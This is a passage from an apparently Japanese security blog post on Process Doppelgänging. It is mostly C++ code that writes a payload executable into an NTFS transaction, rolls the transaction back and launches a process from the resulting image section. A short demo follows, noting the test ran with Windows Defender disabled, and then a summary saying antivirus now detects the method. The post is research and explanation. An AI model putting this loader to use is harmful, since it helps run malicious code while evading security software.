        NULL,
        0,
        0,
        0,
        NULL,
        NULL);

    // ターゲットファイルをオープン
    hTransactedFile = CreateFileTransacted(lpTargetApp,
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);

    // ペイロードファイルの読み込み
    hFile = CreateFile(lpPayloadApp,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    GetFileSizeEx(hFile, &fsz);

    Buffer = NULL;

    sz = (SIZE_T)fsz.LowPart;
    NtAllocateVirtualMemory(NtCurrentProcess(),
        &Buffer,
        0,
        &sz,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;

    // ターゲットファイルにペイロードファイルを書き込み
    WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    // ターゲットファイルをSEC_IMAGEで新規セクションとしてメモリ上に作成
    NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hTransactedFile);

    // トランザクションをロールバック
    NtRollbackTransaction(hTransaction, TRUE);

    NtClose(hTransaction);
    hTransaction = NULL;

    CloseHandle(hTransactedFile);
    hTransactedFile = INVALID_HANDLE_VALUE;

    // 作成したセクションからプロセスを新規作成
    hProcess = NULL;
    NtCreateProcessEx(&hProcess,
        PROCESS_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        PS_INHERIT_HANDLES,
        hSection,
        NULL,
        NULL,
        FALSE);

    // PEBからプロセス情報を取得
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &ReturnLength);

    // ImageBaseAddressを取得
    NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
    std::cout << "PebBaseAddress: " << (std::hex) << (ULONGLONG)temp << std::endl;

    // EntryPointを計算
    EntryPoint = (RtlImageNtHeader(Buffer))->OptionalHeader.AddressOfEntryPoint;
    EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;
    std::cout << "ImageBase: " << (std::hex) << (ULONG_PTR)((PPEB)temp)->ImageBaseAddress << std::endl;
    std::cout << "EntryPoint: " << (std::hex) << EntryPoint << std::endl;

    // プロセスパラメータの調整
    RtlInitUnicodeString(&ustr, lpTargetApp);
    RtlCreateProcessParametersEx(&ProcessParameters,
        &ustr,
        NULL,
        NULL,
        &ustr,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);
    
    // PEBにプロセスをリンク
    sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
    MemoryPtr = ProcessParameters;

    NtAllocateVirtualMemory(hProcess,
        &MemoryPtr,
        0,
        &sz,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE);

    // プロセスパラメータの書き込み
    sz = 0;
    NtWriteVirtualMemory(hProcess,
        ProcessParameters,
        ProcessParameters,
        ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
        &sz);

    Peb = (PEB*)pbi.PebBaseAddress;
    NtWriteVirtualMemory(hProcess,
        &Peb->ProcessParameters,
        &ProcessParameters,
        sizeof(PVOID),
        &sz);

    // EntryPointを開始アドレスに設定して新規スレッドを作成
    hThread = NULL;
    NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        (LPTHREAD_START_ROUTINE)EntryPoint,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL);


    if (hTransaction)
        NtClose(hTransaction);
    if (hSection)
        NtClose(hSection);
    if (hProcess)
        NtClose(hProcess);
    if (hThread)
        NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
        CloseHandle(hTransactedFile);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (Buffer != NULL) {
        sz = 0;
        NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }
    if (ProcessParameters) {
        RtlDestroyProcessParameters(ProcessParameters);
    }
}


demo

以下は非実行可能形式ファイルをターゲットとした実験.

ファイルパス等を自前で設定できるため,テキストファイルからPEファイルがオープンしているように見える. メモリ空間をのぞいてみると確かにプログラムが示す位置にMZの2バイトが確認できる.

ただしこれはWindows Defenderをオフにした状態での実験であり,通常は以下のように即座に検知される.

f:id:snoozekvn:20200218185500p:plain

まとめ

本手法は2017年公開当初こそ有用であったが,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

また悪意あるファイルの最終的な実行の際に,CreateRemoteThreadと同等のNtCreateThreadExを使用している。

AVスキャナーは、リモートスレッドの作成をPsSetCreateThreadNotifyRoutine等を介して監視するため、Doppelgängingを検出可能だ.

本手法は、ファイル署名を避け、ディスクに書き込みをせずに実行可能ファイルをロードできるが,そもそもの目指すところである検知回避という点でもはやアドバンテージはない.

参考

Process Doppelgänging – a new way to impersonate a process | hasherezade's 1001 nights

docs.google.com

docs.microsoft.com

github.com